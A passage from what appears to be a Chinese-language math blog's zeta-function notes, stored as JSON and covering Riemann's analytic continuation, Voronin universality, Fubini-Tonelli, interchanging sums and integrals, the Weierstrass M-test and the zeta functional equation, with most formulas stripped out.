推导路径基于分部积分与函数方程： 第一步积分变换：黎曼从 的积分表示出发： 其中 为雅克比 theta 函数的变体，满足 。分部积分与三角函数转换：对上述积分作两次分部积分，消去低阶项后引入变量替换 ，则 ， 。结合 ，当 时，双曲余弦项转化为余弦函数： 最终得到含 的积分表示。余项估计与收敛性：黎曼通过研究 的指数衰减性质（ 时 ），证明该级数对所有实 快速收敛，这为数值计算零点提供了理论基础。 这种形式为估算零点个数提供了便利，黎曼据此推导出区间 内非平凡零点数量的渐近公式： 历史意义与后续影响 黎曼的解析延拓方法具有划时代意义： 数学框架：首次将复分析系统应用于数论，开创了解析数论这一学科 素数分布：通过 函数零点分布研究素数定理，提出了著名的黎曼假设（所有非平凡零点都位于 直线上） 函数方程：对称性思想启发了模形式、自守函数等后续数学分支的发展 当然，人们希望能找到这一结论的严谨证明，但我经过几次短暂而徒劳的尝试后已经放弃了寻找这种证明的努力，因为这对于我当前的研究目标来说并非必要。 黎曼在论文中坦言，他未能严格证明所有非平凡零点都位于临界线上，这一问题至今仍悬而未决，成为数学史上最著名的未解难题之一。但他的解析延拓方法本身已成为复分析应用的典范，展示了纯粹数学研究如何通过抽象推广揭示自然界的深层规律。 从欧拉乘积到围道积分，从函数方程到 Xi 函数，黎曼的每一步推导都体现了概念的飞跃。这种将特殊函数、复积分与数论问题融合的思维方式，不仅彻底改变了素数研究的面貌，更树立了现代数学中 \"概念先行\" 的研究范式。正如希尔伯特所言：\"如果我沉睡一千年然后醒来，第一个问题会是：黎曼假设被证明了吗？\" 这一问题的根源，正埋藏在黎曼对 函数进行解析延拓的深刻思想之中。"},{"title":"","date":"2025-10-08T22:40:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/42.html","permalink":"https://blog.mhuig.top/notes/Zeta/42","excerpt":"","text":"沃罗宁定理 沃罗宁定理 沃罗宁定理：黎曼 ζ 函数的普适性与解析数论革命1975 年，苏联数学家谢尔盖・沃罗宁（Sergei M. Voronin）发表了一项震惊的发现：黎曼 函数在临界带 内具有普适性，它的纵向平移 可以任意精度逼近该区域内任何非零解析函数。这一结果彻底改变了人们对 函数值分布的理解，将一个看似专为素数分布研究设计的函数，与复分析中最深刻的逼近理论联系起来。 历史背景与理论突破从 Fekete 到 Voronin：普适性概念的演化普适性思想的数学根源可追溯至 1914 年 Fekete 的工作，他构造了一个幂级数 ，能够逼近 上任何满足 的连续函数。这一纯函数论结果在六十年后意外地与数论产生交集 —— 沃罗宁发现，黎曼 函数作为数论核心对象，竟表现出同样的普适特征。 黎曼 ζ 函数的意外转折黎曼 函数 （ ）的解析延拓长期被认为是研究素数分布的工具，其非平凡零点与素数定理的误差项密切相关。沃罗宁的突破在于证明：在临界带 内， 函数的纵向平移 （其中 固定， 为实参数）构成的函数族，在紧集上的一致拓扑中稠密。这意味着 函数不仅编码素数信息，更包含了几乎所有解析函数的 \"影子\"。 定理的严格表述与数学基础经典沃罗宁定理定义（沃罗宁普适性定理, 1975）：设 ， 是非零连续函数且在内部解析。对任意 ，存在 使得 且满足该条件的 的勒贝格测度满足 关键限制条件： 非零性： 不能取零值，否则由 Rouché 定理可推出 函数在 有过多零点，与零点密度定理矛盾。 区域限制： 确保逼近区域位于临界带内部，避开可能的奇异性。 测度正性：逼近参数 的集合不仅存在，且在大区间上具有正密度。 Bagchi 的概率诠释（1981）Bagchi 将沃罗宁定理置于概率论框架下，揭示了其深刻的随机过程本质：当 时，随机变量族 （其中 在 上均匀分布）依分布收敛到一个随机欧拉乘积： 其中 是独立的单位圆上均匀分布随机变量。这一收敛发生在解析函数空间的弱拓扑中，且极限过程的支撑集包含所有满足定理条件的函数 。该结果将 函数的普适性归结为素数生成的随机序列 的遍历性质。 证明框架与核心技术从特征函数到联合分布现代证明依赖于傅里叶分析与矩估计的结合，关键步骤包括： 极大模原理简化：只需在圆盘边界 上控制逼近误差，内部估计由极大模原理自动成立。 导数估计：控制 的增长性，确保局部扰动不破坏整体逼近。核心引理表明：对 ， 其中 多变量矩匹配：对紧集上有限个点 ，证明 的联合矩收敛到随机模型 的联合矩。通过 Dirichlet 多项式逼近与素数定理的误差估计，可证对 ，有 傅里叶逆变换：通过特征函数的一致收敛性，将矩收敛转化为分布收敛，最终由紧性论证得到普适性。 有效版本与收敛速率2016 年，Lamzouri-Lester-Radziwill 首次证明了有效普适性定理，给出收敛速率的明确估计：对带权积分 其误差项为 。这一结果超越了早期 Good-Garunkštis 的定性估计，为计算数论提供了理论基础。 推广与拓展区域与函数类的扩展一般紧集：定理可推广到临界带内任何余集连通的紧集 （即 连通）。 L- 函数族：对 自守形式的 L- 函数、Dirichlet L- 函数等，类似普适性成立，只需满足 Ramanujan 猜想（系数模估计）和零点密度估计。 联合普适性：多个 L- 函数的平移可同时逼近多个解析函数，如 与 的联合逼近。 绝对收敛轴上的普适性（Andersson, 2020）经典定理限于临界带内部，而 Andersson 证明：在绝对收敛轴 上，通过尺度变换与常数项修正，普适性仍可能成立。其定理表明：对任何紧集 与解析函数 ，存在 ，使得对 和 ，有 这一结果突破了临界带限制，揭示普适性可能是 Dirichlet 级数的一般性质。 高维与自守形式的推广Hashimoto 将普适性理论推广到塞尔伯格 ζ 函数，证明对算术群的塞尔伯格 函数，在适当区域内也存在联合普适性。这表明普适性可能是具有欧拉乘积的 L- 函数的共有特征，而非 函数独有。 当代研究与未解决问题收敛速率的精确阶有效普适性定理给出的对数速率是否最优？现有结果表明 型速率可能无法改进，但确切指数仍未知。Lamzouri 等猜测最优速率可能与 有关，但缺乏严格证明。 零点集的普适性经典定理要求被逼近函数非零，自然问题是：是否存在某种意义下的 “零点普适性”？即能否逼近具有指定零点的解析函数？目前仅知道这与 函数的水平分布猜想密切相关，若假设零点均匀分布，则可能存在弱形式的零点普适性。 随机模型的精细性质Bagchi 的随机 函数 是否具有绝对连续性？这一问题等价于其最大值函数 是否无跳跃间断点。现有结果仅能证明矩收敛，但分布的连续性仍是公开问题。 结语：普适性的哲学意义沃罗宁定理揭示了一个深刻悖论：专门设计用于计数素数的黎曼 函数，却包含了几乎所有解析函数的信息。这种 “特殊性中的普遍性” 挑战了我们对数学对象分类的直觉。从 Fekete 的幂级数到 Andersson 的尺度变换普适性，这一领域的发展不断模糊数论与复分析的界限。未来，随着非交换几何、量子混沌等领域的交叉渗透，普适性可能成为连接解析数论与数学物理的新桥梁。当我们凝视公式 中参数 的变化时，看到的不仅是素数的舞蹈，更是整个解析函数世界的缩影。"},{"title":"","date":"2025-10-08T22:41:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/43.html","permalink":"https://blog.mhuig.top/notes/Zeta/43","excerpt":"","text":"迭代积分 迭代积分 迭代积分作为连接单变量与多变量积分的桥梁，其核心价值在于将复杂的高维积分转化为有序的低维积分序列。从牛顿时代的几何直观到勒贝格测度论的严格框架，迭代积分的发展历程折射出数学分析严格化的百年征程。柯西迭代积分公式揭示了多次积分与单重积分的深刻联系，而 Fubini-Tonelli 定理则为积分顺序交换提供了最一般的理论基础。本文将系统梳理迭代积分公式的历史脉络、数学构造、证明思路及其在现代数学中的推广应用，展现这一基础工具从经典分析到概率统计、从有限维空间到 Lie 群上积分的广泛影响。 历史演进：从无穷小量到测度论的跨越17 世纪下半叶，牛顿在 \"流数法\" 中通过将平面区域分解为无穷小矩形求和，实质上采用了先对一个变量积分再对另一个变量积分的策略，这是迭代积分思想的最早萌芽。莱布尼茨则更明确地提出了 符号作为 \"求和\" 的象征，其手稿中记载的二重积分计算已具备现代迭代积分的形式特征。 19 世纪分析严格化运动催生了迭代积分的理论突破。柯西在 1823 年《无穷小计算讲义》中首次给出二重积分的严格定义，将其表述为 \"和式的极限\"，并证明了连续函数情形下的积分顺序可交换性。黎曼 1854 年的博士论文进一步扩展了可积函数类，但直到 1902 年勒贝格引入测度概念后，迭代积分的适用范围才突破连续函数的限制，典型如狄利克雷函数在勒贝格积分意义下可积，为迭代积分奠定了更坚实的理论基础。 意大利数学家富比尼 1907 年发表的工作标志着迭代积分理论的成熟。他证明了在 σ- 有限测度空间中，只要函数满足非负或绝对可积条件，重积分与迭代积分便可以相互转化。这一成果后来与托内利的非负函数结果合并为著名的 Fubini-Tonelli 定理，成为现代分析中处理高维积分的基本工具。值得注意的是，富比尼定理中的 σ- 有限条件并非绝对必要，当 σ- 有限条件不满足时，定理对于最大乘积测度 (maximal product measure) 仍然成立。 20 世纪中叶以来，迭代积分理论向更抽象的空间结构推广。1994 年张兴汉在拟可加测度空间中建立了模糊二重积分，并证明了相应的 Fubini 定理；2019 年 Oliveira 等人将 Fubini 定理推广到指数为 的紧 Lie 群正规子群上，得到了 Haar 积分的分解公式。这些进展表明，迭代积分的核心思想 —— 通过序贯积分实现降维处理，具有超越欧氏空间的普适性。 数学定义：从矩形区域到一般可测空间经典欧氏空间的迭代积分设 为 中的矩形区域，函数 满足一定可积条件。先对 后对 的迭代积分定义为： 其中内层积分 是将 固定时关于 的偏积分，结果是关于 的一元函数，再对其在 上积分得到最终结果。类似可定义先对 后对 的迭代积分： 对于非矩形区域 迭代积分需调整为： 这种表示依赖于区域的 \"x- 型\" 分解，类似地也可进行 \"y- 型\" 分解。值得注意的是，区域的可测性并不能保证其所有切片的可测性 —— 例如 是零测集（从而可测），但其切片 若为不可测集，则 不可测。 柯西迭代积分公式当对同一函数进行多次积分时，柯西于 19 世纪给出了一个关键公式。定义 次迭代积分算子： 个积分 通过交换积分顺序，可以将其简化为单重积分表达式。以 为例： 类似地，对 情形可得： 一般地，通过数学归纳法可证明柯西迭代积分公式： 这一公式将 重积分转化为带权函数的单重积分，权重 体现了各次积分的累积效应。进一步通过 Gamma 函数 （对正整数 ），可将公式推广到分数阶积分，得到 Riemann-Liouville 积分算子： 这一推广为分数阶微积分奠定了基础。 测度论框架下的一般化在勒贝格积分理论中，迭代积分的概念被推广到抽象可测空间。设 和 是两个测度空间，乘积空间 上的可测函数 的迭代积分需满足： 截口可测性：对几乎处处的 ，截面函数 是 - 可测的；对几乎处处的 ，截面函数 是 - 可测的。 积分存在性：函数 在 上 - 可积，或 在 上 - 可积。 此时迭代积分的值与重积分相等，即： 这一结论即为 Fubini-Tonelli 定理的核心内容，其成立只需满足两个条件之一：(a) 非负可测；或 (b) 绝对可积（即 Fubini-Tonelli 定理：证明思路与条件分析定理的精确陈述Fubini-Tonelli 定理：设 和 为两个 σ- 有限的测度空间，函数 是 - 可测的。若 (a) 是非负的，即 ；或者 (b) 是可积的，即 则有： 对几乎全部的 ，切片 是 - 可测且 - 可积的；对几乎全部的 ，切片 是 - 可测且 - 可积的。 函数 是 - 可测的，函数 是 - 可测的。 迭代积分与重积分相等： 证明的关键步骤Step 1: 特征函数情形设 为可测矩形，即 其中 。此时特征函数 ，则： 由测度的可数可加性，该结论可推广到所有可测集的特征函数。 Step 2: 非负简单函数任何非负可测函数可表示为简单函数的单调极限。设 ，其中 为可测集。由积分线性性： 交换求和与积分顺序（由单调收敛定理保证）即得结论。 Step 3: 一般非负可测函数对非负可测函数 ，取简单函数列 。由单调收敛定理，两边同时取极限即证得结果。对绝对可积函数，分解为实部虚部、正部负部后分别应用非负情形的结论。 条件的必要性分析Fubini-Tonelli 定理的三个核心条件，σ- 有限性、可测性和非负 / 可积性，缺一不可： σ- 有限性：对 Tonelli 定理（非负情形）是必须的。若测度空间非 σ- 有限，即使对非负函数，三个积分也可能不相等。例如取 ， 为计数测度， 当 , 当 ，否则为 ，则两种迭代积分分别为 和 。 可积性 / 非负性：若函数不可积且非负，定理失效。经典反例是单位正方形上定义的函数 ，其两种迭代积分分别为 和 。 可测性：如前所述，函数可测不保证所有切片可测，但 Fubini 定理保证几乎所有切片可测。 高维推广与数值方法n 维欧氏空间的迭代积分Fubini 定理可直接推广到 n 维情形。对 中的矩形区域 ， 重积分可表示为 次迭代积分： 积分顺序共有 种可能，在函数满足 Fubini 条件时所有顺序给出相同结果。杨利民通过第二类 Stirling 数 得到了 Fubini 定理公式数的显式计数公式，例如 时有 种表示方法， 时有 种。 高维积分的数值挑战与对策当维度超过 时，传统网格方法面临 \"维数灾难\"—— 计算复杂度随维度呈指数增长。以 维 FPK 方程为例，采用 的网格密度时，需处理超过 万个网格点。为应对这一挑战，发展出三类主要方法： 蒙特卡洛方法：通过随机抽样近似积分，误差 ，与维度无关。基本公式为： 其中 为均匀抽样点。 重要性抽样：通过选择与 形态相近的抽样分布 ，将积分改写为 ，降低方差。Vegas 算法通过动态调整抽样密度实现自适应重要抽样，对多峰函数效率比传统方法提高 倍。 拟蒙特卡洛方法：用低差异序列代替随机序列，收敛速度可达 ，适用于中等维度问题。 Lie 群上的 Haar 积分分解在紧 Lie 群上，Haar 积分的迭代分解呈现出新的结构。设 Γ 为紧 Lie 群，Γ⁺为指数 2ⁿ的正规子群，则对任何连续函数 f:Γ→ℝ，有： 其中 为 Γ\\Γ⁺中的固定对合元。这一结果将群上积分分解为子群上积分的加权和，在 Lorentz 群等物理应用中具有重要价值。特别地，当 时退化为经典结果： 应用与前沿进展概率论中的联合分布计算设 是概率空间上的随机变量，联合密度函数为 ，则边缘密度函数可通过迭代积分计算： 特别当 独立时， ，此时期望 可由 Fubini 定理直接推出。更一般地，高维随机向量的边缘分布、条件期望等概念均依赖迭代积分理论。 分数阶微积分的数学基础柯西迭代积分公式通过 Gamma 函数推广到分数阶积分，产生了 Riemann-Liouville 积分： 这一推广为分数阶导数提供了定义框架。例如半阶积分 ，而函数 的半阶导数等于 1 的半阶积分。在物理应用中，阿贝尔积分方程： 的解可通过分数阶导数表示： 这一结果在等时降落问题中起到关键作用。 量子场论中的路径积分路径积分作为量子力学的基本工具，其数学严格化依赖高维积分理论。尽管路径积分本身不是严格的 Lebesgue 积分，但通过有限维逼近和重整化技巧，可将其表示为无限维空间上的 \"迭代积分\"。费曼 - 卡茨公式建立了路径积分与偏微分方程的联系，其核心正是将高维积分转化为含参变量的迭代积分序列。近年来，流模型 (flow model) 如 i-flow 算法通过变量替换技巧，为路径积分的数值计算提供了新途径。 理论局限与未来方向尽管迭代积分理论已发展成熟，仍存在若干开放性问题： 非 σ- 有限测度空间：对非 σ- 有限空间，Fubini 定理仅对最大乘积测度成立，但最大乘积测度的构造依赖选择公理，在构造性数学中存在争议。 奇异积分方程：如阿贝尔方程的高维推广，其解的存在性和唯一性需超越经典 Lebesgue 积分框架，可能需要借助分数阶微积分和广义函数论。 量子场论的数学基础：路径积分的严格定义仍是未解决的难题，其核心困难在于无限维空间上测度的构造，迭代积分的思想可能为这一问题提供新视角。 从牛顿的流数法到现代的分数阶积分，迭代积分公式始终是数学分析连接几何直观与严格理论的桥梁。随着数据科学和量子计算的发展，高维迭代积分的数值方法将在机器学习、量子模拟等领域发挥越来越重要的作用，而其理论基础也将在与其他数学分支的交叉中得到进一步深化。正如 Fubini 定理将二维积分分解为一维积分，未来的数学突破或许会找到将无穷维积分 \"迭代化\" 的新方法，开启分析学的新篇章。"},{"title":"","date":"2025-10-14T03:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/51.html","permalink":"https://blog.mhuig.top/notes/Zeta/51","excerpt":"","text":"积分与求和交换顺序 积分与求和交换顺序 积分与求和交换顺序的问题贯穿数学分析发展始终，其核心矛盾在于无穷过程的不可交换性与实际计算需求之间的张力。19 世纪傅里叶级数研究中发现的 \"吉布斯现象\" 首次揭示了随意交换可能导致的谬误，而 20 世纪勒贝格测度论的建立最终为这一问题提供了系统解决方案。 历史背景与问题起源微积分初创期的直观处理（17 世纪 - 19 世纪初）牛顿和莱布尼茨的工作默认积分与求和可自由交换。欧拉在计算 时，大胆将三角函数展开式逐项积分得到 的正确结果，这种 \"幸运的不严谨\" 掩盖了逻辑漏洞。1821 年柯西在《分析教程》中首次指出交换性需要条件，他证明了一致收敛函数列可交换积分与极限，但该条件过于严格，排除了许多重要应用场景。 傅里叶分析的挑战（19 世纪中期）迫使数学家直面交换性问题。傅里叶在研究热传导方程时发现，即使非一致收敛的三角级数也可能逐项积分。1876 年杜布瓦 - 雷蒙构造出第一个积分与求和不可交换的函数列： 设 在 上，虽然 ，但 ，揭示了一致收敛并非必要条件。 勒贝格测度论的突破（20 世纪初）为问题提供了本质解答。1902 年勒贝格在博士论文中引入测度概念，通过将积分定义为 \"水平集测度的累加\"，建立了更灵活的积分理论。1907 年富比尼（Fubini）证明了二重积分与累次积分交换定理，1909 年托内利（Tonelli）将其推广到非负函数情形，二者共同构成了现代分析中交换积分顺序的基础工具。 基本定义与概念框架求和与积分的数学表述无穷求和可视为特殊的积分形式： 设 为自然数集， 为计数测度（即 ），则级数 等价于积分 。这种观点将求和与积分统一到测度论框架下，使得交换顺序问题转化为累次积分交换性的一般问题。 积分与求和交换的严格表述需要区分两种情形： 级数逐项积分： 二重求和交换： 二者本质上都是无穷过程交换顺序问题，其核心在于控制 \"尾部项\" 的贡献。 关键概念：可测性与积分可测函数是勒贝格积分理论的基础。 设 为测度空间，函数 可测若对任意 ，集合 。对乘积空间 ，联合可测性要求 关于乘积 - 代数 可测，这比分别对 和 可测的条件更强。 勒贝格积分的定义通过简单函数逼近实现： 对非负简单函数 定义 对非负可测函数 ，定义 简单可测 对一般可测函数 ，分解为正部 与负部 ，若 与 有限，则 乘积测度与切片乘积测度空间 由以下构造： 是包含所有可测矩形 （ ）的最小 - 代数 乘积测度 满足 ，其存在性由 Carathéodory 扩张定理保证 切片函数是研究累次积分的关键工具。对 ： ：固定 的 - 切片 ：固定 的 - 切片 若 联合可测，则对几乎所有 ， 是 - 可测的；对几乎所有 ， 是 - 可测的。这一性质可通过富比尼引理严格证明：对可测集 ，其切片 对几乎所有 可测，且 是 的可测函数。 核心定理与证明架构富比尼 - 托内利定理（Fubini-Tonelli Theorem）这是交换积分顺序的基本定理，包含两个互补部分： 托内利定理（非负情形）：设 与 为 - 有限测度空间， 联合可测，则： 对几乎所有 ， 在 上可积；对几乎所有 ， 在 上可积 函数 与 分别在 和 上可测 证明关键步骤： 简单函数情形：设 为可测矩形的特征函数，则 单调类扩张：令 为所有满足定理结论的函数集合，可证 是包含简单函数的单调类，由单调类定理推出 包含所有非负可测函数 - 有限化：通过可数分割将一般情形化为有限测度空间，应用单调收敛定理取极限 富比尼定理（可积情形）： 若 （即 ），则托内利定理的三个结论依然成立。证明通过分解 为非负可积函数实现。 级数与积分交换的控制收敛定理勒贝格控制收敛定理（LDCT）是处理积分与极限交换的核心工具： 设 为测度空间，可测函数列 a.e.，若存在控制函数 使得 a.e.，则 ，特别地 。 将其应用于级数逐项积分得到：逐项积分定理 设 为可测函数列，满足 则 几乎处处绝对收敛，且 。 证明模板： 构造部分和 ，控制函数 ，由题设 。因 ，应用 LDCT 得 ，即 。 塔内里定理（Tannery's Theorem）是级数情形的离散类比： 对级数族 ，若： 对每个 ， 存在收敛控制级数 使得 对所有 成立 则 。其证明通过估计余项 ，取 充分大控制第二部分，再取 充分大控制第一部分实现。 应用条件与反例分析关键条件的作用与意义 - 有限性是富比尼定理的本质条件。托内利定理中若去掉 - 有限假设，即使对非负函数也可能出现积分不等的情况。例如设 为不可数集， 为计数测度， 为平凡测度（ ， 对 ），则 可能为无穷，而 。 绝对可积性确保了积分的无条件收敛。对条件收敛的级数或积分，交换顺序可能改变结果。经典反例是交错二重级数： 设 当 ， ，则 而 。 联合可测性防止了病态函数的干扰。 设 ， 为不可测集，定义 ，则 和 几乎处处为零（从而可测），但 非联合可测，此时累次积分存在但二重积分无定义。 典型反例构造与分析反例 1：非负但不可测的交换失效 设 当 或 ，否则 。在 上， （对固定 ，若 则 ，否则 ，而 测度为零），但 非联合可测，二重积分不存在。 反例 2：条件收敛导致交换不等 考虑 在 上， 收敛，但 因 不绝对收敛而不存在。 反例 3：黎曼积分下的交换障碍 在黎曼积分框架下，即使函数连续也未必能交换顺序。 设 ，则 但 。问题在于黎曼积分缺乏控制收敛定理，而 在勒贝格积分意义下不可积（ ）。 推广与现代应用无穷维与非交换积分向量值函数积分中，富比尼定理的推广需要空间具有 Radon-Nikodym 性质（RNP）。例如希尔伯特空间和自反巴拿赫空间具有 RNP，此时对取值于这类空间的可积函数，富比尼定理依然成立。 非交换积分理论（如冯・诺依曼代数中的迹积分）中，交换顺序问题变得更为复杂。Tomita-Takesaki 理论通过模同构给出了部分交换性结果，但一般不满足经典富比尼定理的对称性。 应用案例：拉东变换与医学成像拉东变换是富比尼定理的经典应用，其定义为 （沿直线积分）通过在极坐标下应用富比尼定理，可证明拉东变换的逆变换公式： 这一结果是 CT 扫描技术的数学基础，1979 年诺贝尔生理学或医学奖即授予此技术的发明者。 数值计算中的交换问题蒙特卡洛方法中，积分与求和交换的合理性直接影响计算精度。例如估计 时，将指数函数展开为幂级数 逐项积分得到 该交换由控制收敛定理保证（控制函数 可积）。 自适应求积算法通过动态调整子区间划分实现高效计算，其理论依据是积分区间可加性与控制收敛定理的结合。例如对 ，分解为 ，每项用梯形公式近似，误差由控制函数 统一控制。 结论与展望积分与求和交换顺序的理论发展，是数学分析从直观到严谨的典型缩影。从欧拉时代的大胆运算，到勒贝格测度论建立后的系统框架，数学家们用了近两个世纪才彻底厘清其中的逻辑关系。富比尼 - 托内利定理与控制收敛定理共同构成了现代分析的基础设施，其核心思想，通过控制条件确保 \"尾部贡献可忽略\"，已成为处理无穷过程的普适原则。 当前研究方向包括：非交换几何中的量子富比尼定理、随机分析中伊藤积分的交换性条件、机器学习中高维积分的交换近似算法等。这些前沿领域的发展，持续丰富着我们对无穷过程交换性的理解，也不断提醒着：在数学探索中，严谨性与直观同样重要，正如柯西所言：\"没有严格性，就没有真正的数学进步。\" 未来的突破可能来自对无限维乘积测度的深入研究，这将为量子场论中的路径积分和统计力学中的无穷粒子系统提供更坚实的数学基础。而积分与求和交换这一看似基础的问题，仍将在其中扮演关键角色。"},{"title":"","date":"2025-10-14T06:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/52.html","permalink":"https://blog.mhuig.top/notes/Zeta/52","excerpt":"","text":"魏尔斯特拉斯判别法 魏尔斯特拉斯判别法 历史背景与理论渊源19 世纪中期的数学界正经历着一场深刻的变革。尽管微积分已建立近两个世纪，但柯西时代的 \"无限趋近\" 等直观表述仍主导着分析学，导致诸如 \"连续函数必可导\" 等错误认知的流行。正是在这一背景下，魏尔斯特拉斯，这位曾在德国中小城镇中学任教 15 年的 \"现代分析之父\"，通过系统化的严格化工作，彻底重塑了数学分析的基础。 1854 年，魏尔斯特拉斯发表《关于阿贝尔函数理论》，解决椭圆积分逆问题而轰动学界，柯尼斯堡大学因此授予其名誉博士学位。1856 年受聘柏林大学后，他在授课中系统发展了 ε-δ 语言，将极限定义为：\"对任意 ε>0，存在 N 使得当 n > N 时|xₙ-a|<ε\"，这种精确表述彻底取代了牛顿以来的无穷小直观。正是在这一系列严格化工作中，魏尔斯特拉斯于 1860 年代逐步形成了级数一致收敛的概念及其判别准则，其中最具代表性的便是以其名字命名的 M- 判别法。 这一判别法的诞生绝非偶然。当时数学家们正困惑于函数项级数的极限性质，逐项积分、逐项微分的合法性条件亟待明确。魏尔斯特拉斯通过构造控制级数的方法，首次给出了 \"连续函数项级数的一致收敛极限仍连续\" 的严格证明，为后续函数论发展奠定了逻辑基础。1872 年，他正是利用这一工具构造出历史上第一个处处连续但处处不可导的函数： 其中 ， 为奇整数且 。这个 \"病态函数\" 彻底颠覆了当时数学界的认知，而其一致收敛性的证明直接依赖于魏尔斯特拉斯判别法。 定理精确表述与证明框架严格定义魏尔斯特拉斯 M- 判别法（Weierstrass M-test）设函数项级数 在区间 上满足： 一致有界条件：存在与 无关的非负常数 ，使得对所有 及 ，有 ； 控制级数收敛：正项级数 收敛。 则 在 上一致收敛，且绝对收敛。 证明过程根据一致收敛的柯西准则，需证：对任意 ，存在 ，当 时，对所有 有： 证明步骤： 应用控制级数性质：因 收敛，由柯西收敛准则，对上述 ，存在 ，当 时： 估计部分和绝对值：对任意 ，由三角不等式及条件 1： 得出一致收敛结论：上述不等式对所有 成立，即满足一致收敛的柯西条件。 关键注记： 证明中构造的 仅与 有关，与 无关，这正是一致收敛的核心特征； 该判别法同时保证了绝对收敛性，是其区别于阿贝尔判别法、狄利克雷判别法的显著特点； 控制级数 的选取需满足 \" 与 无关 \"和\" 收敛 \" 两个条件，缺一不可。 方法论深度解析与应用技巧控制级数构造策略魏尔斯特拉斯判别法的核心在于寻找不依赖于 的控制项 。实践中常用以下策略： 最大值估计法：对 在区间 上求最大值。例如对 在 上，因 ，故取 ，而 收敛（p- 级数，p = 2 > 1）。 初等不等式法：利用三角函数有界性（如 ）、指数函数性质（如 当 ）等。魏尔斯特拉斯函数证明中正是利用了 ，从而取 ，而 是公比 的收敛等比级数。 逐点估计与上确界：对 在 上，需分段估计： 当 时， （但 发散，需改进）； 更精细估计：当 时 （对 充分大）；当 时 。综合取 ，但需验证 收敛。 与其他判别法的深层比较 判别法 核心思想 优势场景 局限性 魏尔斯特拉斯 M- 判别法 构造收敛的正项控制级数 绝对收敛级数；易求控制项 无法处理条件收敛级数 阿贝尔判别法 通项 = 单调有界 × 一致收敛 交错级数；含单调性条件 需验证函数列单调性 狄利克雷判别法 部分和一致有界 × 通项一致趋于 0 三角级数；周期函数项 需估计部分和界 典型案例：考虑 在 上的收敛性。M- 判别法失效（因 发散），但可用阿贝尔判别法证明其一致收敛，这里体现了不同判别法的互补性。 高维推广与现代拓展魏尔斯特拉斯判别法可自然推广至多元函数项级数。设 在 - 维区域 上，若存在 使 对所有 成立，且 收敛，则级数在 上一致收敛。 在加权逼近理论中，该判别法发展为带权 M- 判别法。例如对多元 Gauss-Weierstrass 算子： 其加权一致收敛性可通过构造带 Jacob i 权的控制级数证明，其中权函数 （ ）。这种推广使得判别法能处理无界区域上的函数逼近问题。 深刻应用与历史影响魏尔斯特拉斯函数的连续性证明魏尔斯特拉斯函数 （其中 ， 为奇整数且 ）的一致收敛性可通过该判别法证明： 每一项 ； 控制级数 收敛（等比级数，公比 ）。 因此，该函数在 上一致收敛且连续。 傅里叶级数收敛性的严格化19 世纪初，傅里叶级数的收敛性问题一直困扰着数学家。魏尔斯特拉斯判别法为此提供了关键工具。对二阶连续可微的周期函数 ，其傅里叶系数满足： 其中 。由于 收敛（p- 级数，p = 2），由魏尔斯特拉斯判别法直接推得傅里叶级数一致收敛于 。这一结果为傅里叶分析奠定了严格基础，使得逐项积分、逐项微分有了坚实的逻辑依据。 函数逼近论的理论基石魏尔斯特拉斯判别法与其逼近定理（1885 年发表）有着深刻联系。后者断言：闭区间上的连续函数可由多项式一致逼近。其概率构造证明（借助 Bernstein 多项式）中，正是通过证明多项式序列的一致收敛性完成的： 尽管原始证明未直接使用 M- 判别法，但其思想一脉相承，通过控制逼近误差来保证一致收敛。现代逼近论中，多元函数逼近的一致收敛性证明，本质上仍是魏尔斯特拉斯控制思想的高维拓展。 数值分析的理论支撑在有限元方法中，分片多项式逼近的收敛性分析依赖于一致收敛理论。考虑定义在区域 上的函数 ，其有限元逼近 满足误差估计： 其中 为网格尺寸， 为多项式次数。证明中需构造一系列满足魏尔斯特拉斯条件的控制级数，以确保当 时逼近误差一致趋于零。 同样，在信号处理中，连续信号的离散化重构（如小波变换）需验证重构级数的一致收敛性。魏尔斯特拉斯判别法提供了判断准则：若小波基函数 满足 且 收敛，则重构级数一致收敛。 历史地位与现代启示魏尔斯特拉斯判别法的历史意义远超一个技术工具的范畴。它标志着数学分析从 \"计算工具\" 向 \"逻辑体系\" 的转变，开创了数学严格化运动的新纪元。魏尔斯特拉斯通过这些严格化工作，将微积分从几何和力学的束缚中解放出来，使其成为独立的逻辑学科。 从现代视角看，这一判别法体现了分析学中 \"控制\" 思想的精髓，通过构造更强的收敛条件（控制级数）来确保所需性质（一致收敛）。这种思想在后续数学发展中不断重现： 在泛函分析中，巴拿赫空间中的一致有界原理（共鸣定理）； 在偏微分方程中，能量估计方法的先验估计技巧； 在概率论中，随机级数的柯尔莫哥洛夫三级数定理。 这些理论虽形式各异，但都延续了魏尔斯特拉斯 \"通过控制保证收敛\" 的核心思想。 值得深思的是，魏尔斯特拉斯发展这些理论时，仍是一位中学教师。在布伦斯堡中学任教期间（1848-1856），他白天教授算术、书法，晚上研究数学，常常工作至凌晨。这种在艰苦条件下追求严格性的精神，或许正是其创立严格分析体系的深层动力。正如他给学生索尼娅・柯瓦列夫斯卡娅的信中所写：\"数学的严谨性，就像道德一样，永远不能妥协。\""},{"title":"","date":"2025-10-16T00:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/53.html","permalink":"https://blog.mhuig.top/notes/Zeta/53","excerpt":"","text":"Zeta 函数的函数方程 Zeta 函数的函数方程 历史背景与数学突破1859 年，Bernhard Riemann 在其划时代论文《论小于给定数值的素数个数》中，首次将 Leonhard Euler 于 1737 年定义的实变量级数 （仅在 收敛）延拓为复平面上的解析函数，并揭示了其满足的函数方程。这一发现不仅解决了 函数在全复平面的定义问题，更通过建立 与 之间的对称关系，为素数分布研究提供了复分析这一强大工具。Euler 虽发现了 的乘积公式 连接了正整数与素数，但未能突破实数域的限制；而 Riemann 的函数方程则彻底改变了数论研究的范式，其现代标准形式为： 其中 为 Gamma 函数，表征了 函数在复平面上关于点 的镜像对称。这一方程的深刻性在于，它将 函数的解析性质与数论问题（如素数定理、黎曼猜想）紧密交织，成为 19 世纪数学最辉煌的成就之一。 函数方程的定义与核心意义函数方程本质上是解析延拓的产物，它将 在右半平面（ ）的 Dirichlet 级数定义与左半平面（ ）的性态通过 Gamma 函数、三角函数等超越函数关联起来。其等价形式可写为： 这一关系直接揭示了 函数零点的分布规律： 平凡零点：当 （ ）时， ，此时 